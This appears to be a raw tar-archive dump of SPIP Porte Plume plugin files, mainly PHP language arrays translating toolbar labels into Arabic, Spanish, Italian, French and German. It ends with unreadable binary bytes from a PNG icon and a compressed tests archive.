الموقع الحالي فقط).', 'barre_note' => 'تحويل الى [[حاشية]]', 'barre_paragraphe' => 'انشاء فقرة', 'barre_quote' => 'اقتباس رسالة', // B (depuis BTv2) 'barre_langue' => 'لغة مختصرة', 'barre_miseenevidence' => '[*إبراز*] النص', 'barre_exposant' => 'تحويل الى <sup>نص فوقي</sup>', 'barre_petitescapitales' => 'تحويل الى <sc>حروف كبيرة مصغرة</sc>', 'barre_centrer' => '[|توسيط|] الفقرة', 'barre_alignerdroite' => 'محاذاة الى [/اليمين/]', 'barre_encadrer' => 'وضع في [(إطار)]', 'barre_e_accent_grave' => 'إدراج E كبير مع نبر الاطالة: È', 'barre_ea' => 'ادراج e داخل a: æ', 'barre_ea_maj' => 'ادراج E كبير داخل A كبير: Æ', 'barre_c_cedille_maj' => 'ادراج C كبير مع علامة لفظية: Ç', 'barre_chercher' => 'بحث واستبدال', 'barre_tableau' => 'إدراج جدول أو تعديل جدول (تحديده أولاً)', 'barre_glossaire' => 'مدخل في [?المعجم] (ويكيبيديا)', 'barre_caracteres' => 'حروف خاصة', 'barre_adresse' => 'عنوان', 'barre_lien_externe' => 'رابط خارجي', 'barre_bulle' => 'بالون تعليمات', 'barre_formatages_speciaux' => 'تنسيقات خاصة', 'barre_galerie' => 'فتح صالة العرض', 'barre_gestion_caption' => 'وصف وملخص', 'barre_gestion_colonne' => 'عدد الأعمدة', 'barre_gestion_ligne' => 'عدد السطور', 'barre_gestion_entete' => 'ترويسة', 'barre_gestion_taille' => 'حجم ثابت', 'barre_gestion_cr_changercasse' => 'تغيير حجم الحروف', 'barre_gestion_cr_changercassemajuscules' => 'تحويل الى الحروف كبيرة', 'barre_gestion_cr_changercasseminuscules' => 'تحويل الى الحروف صغيرة', 'barre_gestion_cr_chercher' => 'بحث', 'barre_gestion_cr_remplacer' => 'استبدال', 'barre_gestion_cr_casse' => 'تطابق حجم الحروف', 'barre_gestion_cr_tout' => 'استبدال الكل', 'barre_gestion_cr_entier' => 'كلمة كاملة', 'barre_preview' => 'معاينة', 'barre_stats' => 'عرض احصاءات النص', 'barre_code' => 'تنسيق <code>مقطع رموز برمجية</code>', 'barre_cadre' => 'وضع في <cadre>مجال إدخال نصوص</cadre>', 'barre_poesie' => 'تنسيق <poesie>شعر</poesie>', 'barre_ancres' => 'إدارة المراسي', 'barre_gestion_anc_caption' => 'إدارة المراسي', 'barre_gestion_anc_inserer' => 'تحويل الى مرساة', 'barre_gestion_anc_nom' => 'اسم المرساة', 'barre_gestion_anc_pointer' => 'التصويب الى مرساة', 'barre_gestion_anc_cible' => 'المرساة الهدف', 'barre_gestion_anc_bulle' => 'بالون تعليمات المرساة', // C 'config_info_enregistree' => "تم حفظ الإعداد", // E 'explication_barre_outils_public' => "يتم تحميل أوامر أوراق الأنماط وجافاسكريبت (إضافة الريشة، Porte Plume) في الموقع العمومي لتوقر استخدام شريط الأدوات في استمارات المنتديات والأقلام العمومية وملحقات أخرى أذا سمحت إعداداتها بذلك.", 'explication_barre_outils_public_2' => "يمكنك اختيار عدم تحميل هذه الأوامر لتخفيف وزن الصفحات العمومية. عندها، مهما تكن إعدادات المنتديات او الأقلام او الملحقات، لن يظهر اي شريط أدوات من الريشة في الموقع العمومي.", // I 'info_porte_plume_titre' => "إعداد شريط الأدوات", 'info_barre_outils_public' => "شريط الأدوات العمومي", // L 'label_barre_outils_public_oui' => "تحميل أوامر شريط الأدوات في الموقع العمومي", 'label_barre_outils_public_non' => "عدم تحميل أوامر شريط الأدوات في الموقع العمومي" ); ?> barre_outils_es.php000066600000010232151451432410010440 0ustar00 'Limpiar el código de todas las etiquetas HTML', 'barre_lorem_ipsum' => 'Insertar un párrafo ficticio', 'barre_lorem_ipsum_3' => 'Insertar tres párrafos ficticios', 'barre_liste_ul' => 'Convertir en lista', 'barre_liste_ol' => 'Convertir en lista ordenada', 'barre_indenter' => 'Convertir en sublista', 'barre_desindenter' => 'Deshacer sublista', 'barre_inserer_caracteres' => 'Insertar caracteres especiales', 'editer'=>'Editar', 'voir'=>'Ver', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insertar À', 'barre_aide' => 'Puedes enriquecer el formato de tu texto utilizando "atajos tipográficos"', 'barre_e_accent_aigu' => 'Insertar É', 'barre_eo' => 'Insertar ligadura œ', 'barre_eo_maj' => 'Insertar ligadura &OElig', 'barre_euro' => 'Insertar símbolo € ', 'barre_gestion_cr_changercassemajuscules' => 'MAYÚSCULAS', 'barre_gestion_cr_changercasseminuscules' => 'minúsculas', 'barre_gras' => '{{Negrita}}', 'barre_guillemets' => 'Encerrar entre «comillas dobles«', 'barre_guillemets_simples' => 'Place between “single quotes“', 'barre_intertitre' => 'Convertir en {{{intertítulo}}}', 'barre_italic' => '{cursiva}', 'barre_lien' => 'Convertir en [hipevínculo->http://...]', 'barre_lien_input' => 'Por favor ingresa el destino de tu hipervínculo (puede ser una URL de la forma http://www.misitio.com o simplmente el número de un artículo de este sitio).', 'barre_note' => 'Convertir en [[Nota al pie]]', 'barre_paragraphe' => 'Crear párrafo', 'barre_quote' => 'Citar', // B (depuis BTv2) 'barre_langue' => 'Idioma abreviado', //?? 'barre_miseenevidence' => 'Resaltar el [*texto*]', 'barre_exposant' => 'Poner el texto en <sup>superíndice</sup>', 'barre_petitescapitales' => 'Poner el texto en <sc>mayúsculas pequeñas</sc>', 'barre_centrer' => '[|Centrar|] párrafo', 'barre_alignerdroite' => '[/Alinear a derecha/]', 'barre_encadrer' => '[(Párrafo con recuadro)]', 'barre_e_accent_grave' => 'Intertar È', 'barre_ea' => 'Insertar ligadura æ', 'barre_ea_maj' => 'Insertar ligadura Æ', 'barre_c_cedille_maj' => 'Insertar Ç', 'barre_chercher' => 'Buscar y reemplazar', 'barre_tableau' => 'Insertar/modificar una tabla (seleccionala primero)', 'barre_glossaire' => '[?Referencia] (Wikipedia)', 'barre_caracteres' => 'Caracteres especiales', 'barre_lien_externe' => 'Enlace externo', 'barre_bulle' => 'Globo de ayuda', 'barre_galerie' => 'Ouvrir la galerie', 'barre_gestion_caption' => 'Encabezado y resumen', 'barre_formatages_speciaux' => 'Formateado especial', 'barre_galerie' => 'Abrir la galería', 'barre_gestion_colonne' => 'Núm de columnas', 'barre_gestion_ligne' => 'Núm de líneas', 'barre_gestion_entete' => 'Encabezado', 'barre_gestion_taille' => 'Tamaño fijo', 'barre_gestion_cr_changercasse' => 'Alternar', 'barre_gestion_cr_changercassemajuscules' => 'Pasar a mayúsculas', 'barre_gestion_cr_changercasseminuscules' => 'Pasar a minúsculas', 'barre_gestion_cr_chercher' => 'Buscar', 'barre_gestion_cr_remplacer' => 'Reemplazar', 'barre_gestion_cr_casse' => 'Respetar mayúsculas y minúsculas', 'barre_gestion_cr_tout' => 'Reemplazar todo', 'barre_gestion_cr_entier' => 'Sólo palabras completas', 'barre_preview' => 'Modo previsualización', 'barre_stats' => 'Mostrar estadística del texto', 'barre_code' => 'Mostrar como <code>código fuente</code>', 'barre_cadre' => 'Mostrar dentro de una <cadre>caja de texto</cadre>', 'barre_poesie' => 'Mostrar como <poesie>Poesía</poesie>', 'barre_ancres' => 'Anclas', 'barre_gestion_anc_caption' => 'Gestionar las anclas', 'barre_gestion_anc_inserer' => 'Convertir a un ancla', 'barre_gestion_anc_nom' => 'Nombre del ancla', 'barre_gestion_anc_pointer' => 'Apuntar a un ancla', 'barre_gestion_anc_cible' => 'Destino del ancla', 'barre_gestion_anc_bulle' => 'Globo de ayuda de anclas' ); ?> barre_outils_it.php000066600000013223151451432410010450 0ustar00 'Elimina dal codice tutti i tag HTML', 'barre_lorem_ipsum' => 'Inserisci un paragrafo di prova (lorem ipsum)', 'barre_lorem_ipsum_3' => 'Inserisci 3 paragrafi di prova (lorem ipsum)', 'barre_liste_ul' => 'Converti in lista', 'barre_liste_ol' => 'Converti in lista numerata', 'barre_indenter' => 'Indenta la lista', 'barre_desindenter' => 'Elimina l\'indentazione dela lista', 'barre_inserer_caracteres' => 'Inserisci dei caratteri speciali', 'barre_barre' => 'Barra il testo', 'editer'=>'Modifica', 'voir'=>'Vedi', // B (depuis SPIP) 'barre_a_accent_grave' => 'Inserisci una A con accento grave maiuscolo', 'barre_aide' => 'Utilizza le scorciatoie tipografiche per arricchire la tua impaginazione', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola: Ç', 'barre_e_accent_aigu' => 'Inserisci una E con accento acuto maiuscola', 'barre_e_accent_grave' => 'Inserisci una E con accento grave minuscola: È', 'barre_ea' => 'Inserisci una E con legatura alla A: æ', 'barre_ea_maj' => 'Inserisci una E con legatura alla A maiuscola: Æ', 'barre_eo' => 'Inserisci una E con legatura alla O minuscola', 'barre_eo_maj' => 'Inserisci una E con legatura alla O maiuscola', 'barre_euro' => 'Inserisci il simbolo €', 'barre_gestion_cr_changercassemajuscules' => 'Converti la selezione in maiuscolo', 'barre_gestion_cr_changercasseminuscules' => 'Converti la selezione in minuscolo', 'barre_gras' => 'Converti in {{grassetto}}', 'barre_guillemets' => 'Racchiudi tra « virgolette »', 'barre_guillemets_simples' => 'Racchiudi tra “virgolette di secondo livello”', 'barre_intertitre' => 'Trasforma in {{{titolo}}}', 'barre_italic' => 'Converti in {corsivo}', 'barre_lien' => 'Trasforma in [link ipertestuale->http://...]', 'barre_lien_input' => 'Indica l\'indirizzo del tuo link (puoi indicare un indirizzo internet sotto forma di http://www.miosito.com, un indirizzo di posta elettronica, o semplicemente indicare il numero di un articolo di questo sito.', 'barre_note' => 'Trasforma in [[nota a piè pagina]]', 'barre_paragraphe' => 'Crea un paragrafo', 'barre_quote' => 'Cita un messaggio', // B (depuis BTv2) 'barre_langue' => 'Acronimo lingua', 'barre_miseenevidence' => 'Metti il testo in [*evidenza*]', 'barre_exposant' => 'Metti il testo in <sup>esponente</sup>', 'barre_petitescapitales' => 'metti il testo in <sc>maiuscoletto</sc>', 'barre_centrer' => '[|Centra|] il paragrafo', 'barre_alignerdroite' => '[/Allinea a destra/] il paragrafo', 'barre_encadrer' => '[(Riquadra)] il paragrafo', 'barre_e_accent_grave' => 'Inserisci una E maiuscola con accento grave', 'barre_ea' => 'Inserisci una E nella A', 'barre_ea_maj' => 'Inserisci una E nella A maiuscola', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola', 'barre_chercher' => 'Cerca e sostituisci', 'barre_tableau' => 'Inserisci/modifica (selezionare prima) una tabella', 'barre_glossaire' => 'Voce di [?glossario] (Wikipedia)', 'barre_caracteres' => 'Caratteri speciali', 'barre_adresse' => 'Indirizzo', 'barre_lien_externe' => 'Link esterno', 'barre_bulle' => 'Tooltip', 'barre_formatages_speciaux' => 'Formattazioni speciali', 'barre_galerie' => 'Apri la galleria', 'barre_gestion_caption' => 'Didascalia e riassunto', 'barre_gestion_colonne' => 'Num colonne', 'barre_gestion_ligne' => 'Num righe', 'barre_gestion_entete' => 'Intestazione', 'barre_gestion_taille' => 'Dimensione fissa', 'barre_gestion_cr_changercasse' => 'Cambia maiuscole/minuscole', 'barre_gestion_cr_changercassemajuscules' => 'Passa in maiuscole', 'barre_gestion_cr_changercasseminuscules' => 'Passa in minuscole', 'barre_gestion_cr_chercher' => 'Cerca', 'barre_gestion_cr_remplacer' => 'Sostituisci', 'barre_gestion_cr_casse' => 'Rispetta le maiuscole/minuscole', 'barre_gestion_cr_tout' => 'Sostituisci tutto', 'barre_gestion_cr_entier' => 'Parola intera', 'barre_preview' => 'Modalit� anteprima', 'barre_stats' => 'Mostra le statistiche del testo', 'barre_code' => 'Impagina un <code>codice informatico</code>', 'barre_cadre' => 'Metti dentro una <cadre>zona di inserimento del testo</cadre>', 'barre_poesie' => 'Impagina come una <poesie>poesia</poesie>', 'barre_ancres' => 'Gestione delle ancore', 'barre_gestion_anc_caption' => 'Gestione delle ancore', 'barre_gestion_anc_inserer' => 'Trasforma in ancora', 'barre_gestion_anc_nom' => 'Nome dell\'ancora', 'barre_gestion_anc_pointer' => 'Punta verso un\'ancora', 'barre_gestion_anc_cible' => 'Destinazione ancora', 'barre_gestion_anc_bulle' => 'Tooltip ancora', // C 'config_info_enregistree' => "Configurazione salvata", // E 'explication_barre_outils_public' => "Gli script CSS e Javascript delle barre di testo (estensione Porte Plume) vengono caricate nello spazio pubblico e consentono di utilizzare queste barre sui moduli dei forum, i pennarelli pubblici o per altri plugin, se le loro rispettive configurazioni lo permettono.", 'explication_barre_outils_public_2' => "Puoi scegliere di non caricare questi script al fine di allegerire il peso delle pagine pubbliche. Qualunque sia la configurazione dei forum, pennarelli o plugin, nessuna barra di testo di Porte Pplume potrà essere inserita automaticamente nello spazio pubblico.", // I 'info_porte_plume_titre' => "Configura le barre di testo", 'info_barre_outils_public' => "Barra di testo pubblica", // L 'label_barre_outils_public_oui' => "Caricare gli script della barra di testo sullo spazio pubblico", 'label_barre_outils_public_non' => "Non caricare gli script della barra di testo sullo spazio pubblico", ); ?> barre_outils_fr.php000066600000013433151451432410010446 0ustar00 'Nettoyer le code de toutes les balises HTML', 'barre_lorem_ipsum' => 'Insérer un paragraphe factice', 'barre_lorem_ipsum_3' => 'Insérer trois paragraphes factices', 'barre_liste_ul' => 'Mettre en liste', 'barre_liste_ol' => 'Mettre en liste numérotée', 'barre_indenter' => 'Indenter une liste', 'barre_desindenter' => 'Désindenter une liste', 'barre_inserer_caracteres' => 'Insérer des caractères spécifiques', 'barre_barre' => 'Barrer le texte', 'editer'=>'Éditer', 'voir'=>'Voir', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insérer un A accent grave majuscule', 'barre_aide' => 'Utilisez les raccourcis typographiques pour enrichir votre mise en page', 'barre_c_cedille_maj' => 'Insérer un C cédille majuscule: Ç', 'barre_e_accent_aigu' => 'Insérer un E accent aigu majuscule', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave: È', 'barre_ea' => 'Insérer un E dans l\'A: æ', 'barre_ea_maj' => 'Insérer un E dans l\'A majuscule: Æ', 'barre_eo' => 'Insérer un E dans l\'O', 'barre_eo_maj' => 'Insérer un E dans l\'O majuscule', 'barre_euro' => 'Insérer le symbole €', 'barre_gestion_cr_changercassemajuscules' => 'Passer la sélection en majuscules', 'barre_gestion_cr_changercasseminuscules' => 'Passer la sélection en minuscules', 'barre_gras' => 'Mettre en {{gras}}', 'barre_guillemets' => 'Entourer de « guillemets »', 'barre_guillemets_simples' => 'Entourer de “guillemets de second niveau”', 'barre_intertitre' => 'Transformer en {{{intertitre}}}', 'barre_italic' => 'Mettre en {italique}', 'barre_lien' => 'Transformer en [lien hypertexte->http://...]', 'barre_lien_input' => 'Veuillez indiquer l\'adresse de votre lien (vous pouvez indiquer une adresse Internet sous la forme http://www.monsite.com, une adresse courriel, ou simplement indiquer le numéro d\'un article de ce site.', 'barre_note' => 'Transformer en [[Note de bas de page]]', 'barre_paragraphe' => 'Créer un paragraphe', 'barre_quote' => 'Citer un message', // B (depuis BTv2) 'barre_langue' => 'Langue abrégée', 'barre_miseenevidence' => 'Mettre le texte en [*évidence*]', 'barre_exposant' => 'Mettre le texte en <sup>exposant</sup>', 'barre_petitescapitales' => 'Mettre le texte en <sc>petites capitales</sc>', 'barre_centrer' => '[|Centrer|] le paragraphe', 'barre_alignerdroite' => '[/Aligne à droite/] le paragraphe', 'barre_encadrer' => '[(Encadrer)] le paragraphe', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave', 'barre_ea' => 'Insérer un E dans l\'A', 'barre_ea_maj' => 'Insérer un E dans l\'A majuscule', 'barre_c_cedille_maj' => 'Insérer un C cédille majuscule', 'barre_chercher' => 'Chercher Remplacer', 'barre_tableau' => 'Insérer/modifier (le sélectionner avant) un tableau', 'barre_glossaire' => 'Entrée du [?glossaire] (Wikipedia)', 'barre_caracteres' => 'Caractères spéciaux', 'barre_adresse' => 'Adresse', 'barre_lien_externe' => 'Lien externe', 'barre_bulle' => 'Bulle d\'aide', 'barre_formatages_speciaux' => 'Formatage spéciaux', 'barre_galerie' => 'Ouvrir la galerie', 'barre_gestion_caption' => 'Caption et Résumé', 'barre_gestion_colonne' => 'Nb colonnes', 'barre_gestion_ligne' => 'Nb lignes', 'barre_gestion_entete' => 'Entete', 'barre_gestion_taille' => 'Taille fixe', 'barre_gestion_cr_changercasse' => 'Changer la casse', 'barre_gestion_cr_changercassemajuscules' => 'Passer en majuscules', 'barre_gestion_cr_changercasseminuscules' => 'Passer en minuscules', 'barre_gestion_cr_chercher' => 'Chercher', 'barre_gestion_cr_remplacer' => 'Remplacer', 'barre_gestion_cr_casse' => 'Respecter la casse', 'barre_gestion_cr_tout' => 'Tout remplacer', 'barre_gestion_cr_entier' => 'Mot entier', 'barre_preview' => 'Mode prévisualisation', 'barre_stats' => 'Afficher les statistiques du texte', 'barre_code' => 'Mettre en forme un <code>code informatique</code>', 'barre_cadre' => 'Placer dans une <cadre>zone de saisie de texte</cadre>', 'barre_poesie' => 'Mettre en forme comme une <poesie>poésie</poesie>', 'barre_ancres' => 'Gestion des ancres', 'barre_gestion_anc_caption' => 'Gestion des ancres', 'barre_gestion_anc_inserer' => 'Transformer en ancre', 'barre_gestion_anc_nom' => 'Nom de l\'ancre', 'barre_gestion_anc_pointer' => 'Pointer vers une ancre', 'barre_gestion_anc_cible' => 'Ancre cible', 'barre_gestion_anc_bulle' => 'Bulle d\'aide ancre', // C 'config_info_enregistree' => "Configuration sauvegardée", // E 'explication_barre_outils_public' => "Les scripts CSS et Javascript des barre d'outils (extension Porte Plume) sont chargés sur l'espace public et permettent d'utiliser ces barres sur les formulaires de forums, les crayons publics ou pour d'autres plugins, si leurs configurations respectives le permettent.", 'explication_barre_outils_public_2' => "Vous pouvez choisir de ne pas charger ces scripts afin d'alléger le poids des pages publiques. Dès lors quelque soit la configuration des forums, crayons ou plugin, aucune barre d'outils du Porte Plume ne pourra être présente automatiquement sur l'espace public.", // I 'info_porte_plume_titre' => "Configurer les barres d'outils", 'info_barre_outils_public' => "Barre d'outils publique", // L 'label_barre_outils_public_oui' => "Charger les scripts de barre d'outils sur l'espace public", 'label_barre_outils_public_non' => "Ne pas charger les scripts de barre d'outils sur l'espace public", ); ?> barre_outils_de.php000066600000012615151451432410010430 0ustar00 'Code aller HTML-Tags bereinigen', 'barre_lorem_ipsum' => 'Einen falschen Absatz einfügen', 'barre_lorem_ipsum_3' => 'Drei falsche Absätze einfügen', 'barre_liste_ul' => 'Als Liste formatieren', 'barre_liste_ol' => 'Als nummerierte Liste formatieren', 'barre_indenter' => 'Liste mit Einrückungen', 'barre_desindenter' => 'Einrückungen aus Liste entfernen', 'barre_inserer_caracteres' => 'Sonderzeichen einfügen', 'barre_barre' => 'Text durchstreichen', 'editer'=>'Bearbeiten', 'voir'=>'Anzeigen', // B (depuis SPIP) 'barre_a_accent_grave' => 'Majuskel A mit accent grave einfügen', 'barre_aide' => 'Gestalten sie ihre Seite mit typografischen Kürzeln', 'barre_c_cedille_maj' => 'Majuskel C mit cédille einfügen', 'barre_e_accent_aigu' => 'Majuskel E mit accent aigu einfügen', 'barre_e_accent_grave' => 'Majuskel E mit accent grave einfügen', 'barre_ea' => 'E im A einfügen: æ', 'barre_ea_maj' => 'Majuskel E im A einfügen: Æ', 'barre_eo' => 'E im O einfügen', 'barre_eo_maj' => 'Majuskel E im O einfügen', 'barre_euro' => '€ Symbol einfügen', 'barre_gestion_cr_changercassemajuscules' => 'Auswahl in Majuskel umwandeln', 'barre_gestion_cr_changercasseminuscules' => 'Auswahl in Gemeine umwandeln', 'barre_gras' => '{{Fett}} setzen', 'barre_guillemets' => 'In « Anführungszeichen » setzen.', 'barre_guillemets_simples' => 'in “ doppelte Anführungszeichen ”', 'barre_intertitre' => 'In {{{Zwischentitel}}} umwandeln', 'barre_italic' => 'In {kursiv} umwandeln', 'barre_lien' => 'In [Hyperlink->http://...] umwandeln', 'barre_lien_input' => 'Bitte geben sie die Adresse ihrer Website an (Sie können eine Webadresse im Format http://www.meineseite.de, eine Mailadresse oder die Nummer eines Artikels dieser Website angeben.)', 'barre_note' => 'In [[Fu�note]] umwandeln', 'barre_paragraphe' => 'Absatz einfügen', 'barre_quote' => 'Nachricht zitieren', // B (depuis BTv2) 'barre_langue' => 'Sprache / Kurzform', 'barre_miseenevidence' => '[*hervorheben*]', 'barre_exposant' => 'Text <sup>hochstellen</sup>', 'barre_petitescapitales' => 'Text als <sc>Kapitälchen</sc>', 'barre_centrer' => 'Absatz [|zentrieren|]', 'barre_alignerdroite' => 'Absatz [/rechtsbündig/] ausrichten', 'barre_encadrer' => 'Absatz mit [(Kasten)]', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave', 'barre_ea' => 'Insérer un E dans l\'A', 'barre_ea_maj' => 'Majuskel E im A einfügen', 'barre_c_cedille_maj' => 'Majuskel C cédille einfügen', 'barre_chercher' => 'Suchen / Ersetzen', 'barre_tableau' => 'In einer Tabelle (bitte markieren) suchen und ersetzen', 'barre_glossaire' => 'Eintrag in [?glossaire] (Wikipedia)', 'barre_caracteres' => 'Sonderzeichen', 'barre_adresse' => 'Adresse', 'barre_lien_externe' => 'Externer Link', 'barre_bulle' => 'Sprechblasenhilfe', 'barre_formatages_speciaux' => 'Spezielle Formatierungen', 'barre_galerie' => 'Galerie öffnen', 'barre_gestion_caption' => 'Motto und Zusammenfassung', 'barre_gestion_colonne' => 'Spaltenzahl', 'barre_gestion_ligne' => 'Zeilenzahl', 'barre_gestion_entete' => 'Kopf', 'barre_gestion_taille' => 'Feste Größe', 'barre_gestion_cr_changercasse' => 'Majusker/Gemeine tauschel', 'barre_gestion_cr_changercassemajuscules' => 'In Majuskel umwandeln', 'barre_gestion_cr_changercasseminuscules' => 'In Gemeine umwandeln', 'barre_gestion_cr_chercher' => 'Suchen', 'barre_gestion_cr_remplacer' => 'Ersetzen', 'barre_gestion_cr_casse' => 'Gross/Klein beachten', 'barre_gestion_cr_tout' => 'Alles ersetzen', 'barre_gestion_cr_entier' => 'Ganzes Wort', 'barre_preview' => 'Vorschaumodus', 'barre_stats' => 'Statistiken des Texts anzeigen', 'barre_code' => '<code>Programmcode </code> formatieren', 'barre_cadre' => 'In <cadre>Textfeld</cadre> einfügen', 'barre_poesie' => 'Als <Poesie>Poésie</poesie> formatieren', 'barre_ancres' => 'Anker verwalten', 'barre_gestion_anc_caption' => 'Anker verwalten', 'barre_gestion_anc_inserer' => 'In Anker umwandeln', 'barre_gestion_anc_nom' => 'Name des Ankers', 'barre_gestion_anc_pointer' => 'Link zu Anker', 'barre_gestion_anc_cible' => 'Zielanker', 'barre_gestion_anc_bulle' => 'Sprechblasenhilfe zum Anker', // C 'config_info_enregistree' => "Konfiguration gespeichert", // E 'explication_barre_outils_public' => "Die CSS et Javaskripte der Werkzeugleiste (Erweiterung Federhalter) werden in den öffentlichen Bereich geladen und ermöglichen diese Werkzeugleiten in den Formularen der Foren, des Stift-Plugins und in weiteren Plugins einzusetzen, wenn die jeweilige Konfiguration es erlaubt.", 'explication_barre_outils_public_2' => "Sie können die Verwendung der Werkzeugleisten verhindern und so den Code der öffentlichen Seiten verschlanken. Damit stehen sie weder in Foren, noch in den Eingabefeldern von Plugins zur Verfügung.", // I 'info_porte_plume_titre' => "Werkzeugleiste konfigurieren", 'info_barre_outils_public' => "Öffentliche Werkzeugleiste", // L 'label_barre_outils_public_oui' => "Werkzeugleisten und Skripte im öffentlichen Bereich laden.", 'label_barre_outils_public_non' => "Werkzeugleisten nicht im öffentlichen Bereich laden.", ); ?> barre_outils_it.php.tar000066600000017000151454730040011235 0ustar00home/yeshuare/www/extensions/porte_plume/lang/barre_outils_it.php000066600000013223151451461250021530 0ustar00 'Elimina dal codice tutti i tag HTML', 'barre_lorem_ipsum' => 'Inserisci un paragrafo di prova (lorem ipsum)', 'barre_lorem_ipsum_3' => 'Inserisci 3 paragrafi di prova (lorem ipsum)', 'barre_liste_ul' => 'Converti in lista', 'barre_liste_ol' => 'Converti in lista numerata', 'barre_indenter' => 'Indenta la lista', 'barre_desindenter' => 'Elimina l\'indentazione dela lista', 'barre_inserer_caracteres' => 'Inserisci dei caratteri speciali', 'barre_barre' => 'Barra il testo', 'editer'=>'Modifica', 'voir'=>'Vedi', // B (depuis SPIP) 'barre_a_accent_grave' => 'Inserisci una A con accento grave maiuscolo', 'barre_aide' => 'Utilizza le scorciatoie tipografiche per arricchire la tua impaginazione', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola: Ç', 'barre_e_accent_aigu' => 'Inserisci una E con accento acuto maiuscola', 'barre_e_accent_grave' => 'Inserisci una E con accento grave minuscola: È', 'barre_ea' => 'Inserisci una E con legatura alla A: æ', 'barre_ea_maj' => 'Inserisci una E con legatura alla A maiuscola: Æ', 'barre_eo' => 'Inserisci una E con legatura alla O minuscola', 'barre_eo_maj' => 'Inserisci una E con legatura alla O maiuscola', 'barre_euro' => 'Inserisci il simbolo €', 'barre_gestion_cr_changercassemajuscules' => 'Converti la selezione in maiuscolo', 'barre_gestion_cr_changercasseminuscules' => 'Converti la selezione in minuscolo', 'barre_gras' => 'Converti in {{grassetto}}', 'barre_guillemets' => 'Racchiudi tra « virgolette »', 'barre_guillemets_simples' => 'Racchiudi tra “virgolette di secondo livello”', 'barre_intertitre' => 'Trasforma in {{{titolo}}}', 'barre_italic' => 'Converti in {corsivo}', 'barre_lien' => 'Trasforma in [link ipertestuale->http://...]', 'barre_lien_input' => 'Indica l\'indirizzo del tuo link (puoi indicare un indirizzo internet sotto forma di http://www.miosito.com, un indirizzo di posta elettronica, o semplicemente indicare il numero di un articolo di questo sito.', 'barre_note' => 'Trasforma in [[nota a piè pagina]]', 'barre_paragraphe' => 'Crea un paragrafo', 'barre_quote' => 'Cita un messaggio', // B (depuis BTv2) 'barre_langue' => 'Acronimo lingua', 'barre_miseenevidence' => 'Metti il testo in [*evidenza*]', 'barre_exposant' => 'Metti il testo in <sup>esponente</sup>', 'barre_petitescapitales' => 'metti il testo in <sc>maiuscoletto</sc>', 'barre_centrer' => '[|Centra|] il paragrafo', 'barre_alignerdroite' => '[/Allinea a destra/] il paragrafo', 'barre_encadrer' => '[(Riquadra)] il paragrafo', 'barre_e_accent_grave' => 'Inserisci una E maiuscola con accento grave', 'barre_ea' => 'Inserisci una E nella A', 'barre_ea_maj' => 'Inserisci una E nella A maiuscola', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola', 'barre_chercher' => 'Cerca e sostituisci', 'barre_tableau' => 'Inserisci/modifica (selezionare prima) una tabella', 'barre_glossaire' => 'Voce di [?glossario] (Wikipedia)', 'barre_caracteres' => 'Caratteri speciali', 'barre_adresse' => 'Indirizzo', 'barre_lien_externe' => 'Link esterno', 'barre_bulle' => 'Tooltip', 'barre_formatages_speciaux' => 'Formattazioni speciali', 'barre_galerie' => 'Apri la galleria', 'barre_gestion_caption' => 'Didascalia e riassunto', 'barre_gestion_colonne' => 'Num colonne', 'barre_gestion_ligne' => 'Num righe', 'barre_gestion_entete' => 'Intestazione', 'barre_gestion_taille' => 'Dimensione fissa', 'barre_gestion_cr_changercasse' => 'Cambia maiuscole/minuscole', 'barre_gestion_cr_changercassemajuscules' => 'Passa in maiuscole', 'barre_gestion_cr_changercasseminuscules' => 'Passa in minuscole', 'barre_gestion_cr_chercher' => 'Cerca', 'barre_gestion_cr_remplacer' => 'Sostituisci', 'barre_gestion_cr_casse' => 'Rispetta le maiuscole/minuscole', 'barre_gestion_cr_tout' => 'Sostituisci tutto', 'barre_gestion_cr_entier' => 'Parola intera', 'barre_preview' => 'Modalit� anteprima', 'barre_stats' => 'Mostra le statistiche del testo', 'barre_code' => 'Impagina un <code>codice informatico</code>', 'barre_cadre' => 'Metti dentro una <cadre>zona di inserimento del testo</cadre>', 'barre_poesie' => 'Impagina come una <poesie>poesia</poesie>', 'barre_ancres' => 'Gestione delle ancore', 'barre_gestion_anc_caption' => 'Gestione delle ancore', 'barre_gestion_anc_inserer' => 'Trasforma in ancora', 'barre_gestion_anc_nom' => 'Nome dell\'ancora', 'barre_gestion_anc_pointer' => 'Punta verso un\'ancora', 'barre_gestion_anc_cible' => 'Destinazione ancora', 'barre_gestion_anc_bulle' => 'Tooltip ancora', // C 'config_info_enregistree' => "Configurazione salvata", // E 'explication_barre_outils_public' => "Gli script CSS e Javascript delle barre di testo (estensione Porte Plume) vengono caricate nello spazio pubblico e consentono di utilizzare queste barre sui moduli dei forum, i pennarelli pubblici o per altri plugin, se le loro rispettive configurazioni lo permettono.", 'explication_barre_outils_public_2' => "Puoi scegliere di non caricare questi script al fine di allegerire il peso delle pagine pubbliche. Qualunque sia la configurazione dei forum, pennarelli o plugin, nessuna barra di testo di Porte Pplume potrà essere inserita automaticamente nello spazio pubblico.", // I 'info_porte_plume_titre' => "Configura le barre di testo", 'info_barre_outils_public' => "Barra di testo pubblica", // L 'label_barre_outils_public_oui' => "Caricare gli script della barra di testo sullo spazio pubblico", 'label_barre_outils_public_non' => "Non caricare gli script della barra di testo sullo spazio pubblico", ); ?> quote.png.tar000066600000004000151454730040007175 0ustar00home/yeshuare/www/extensions/porte_plume/icones_barre/quote.png000066600000000376151451434340021213 0ustar00PNG  IHDR(-SgAMAOX2tEXtSoftwareAdobe ImageReadyqe< PLTEfffĽtRNS AiIDATxb`b@LEP 0TH 0X"3(@*ID 0T-b@ @a  (|ӹIENDB`tests.tar.gz000066600000006532151454730040007052 0ustar00[}s8O!|p!ir@[J x8Uϱd|gWرs/]V"YЃTd^|M߿_{`s/{pz2q5hvΝ6vMwA hvtH}(,'r$H6B/Q(srI' Ґ'.xߑ|@;{qP~.@ RrH ( SӝiFo!7N0@kAoi?j9||7?{}tvg3Kzֆ##c'P>ɦNx/H R0v6S#bQNnn 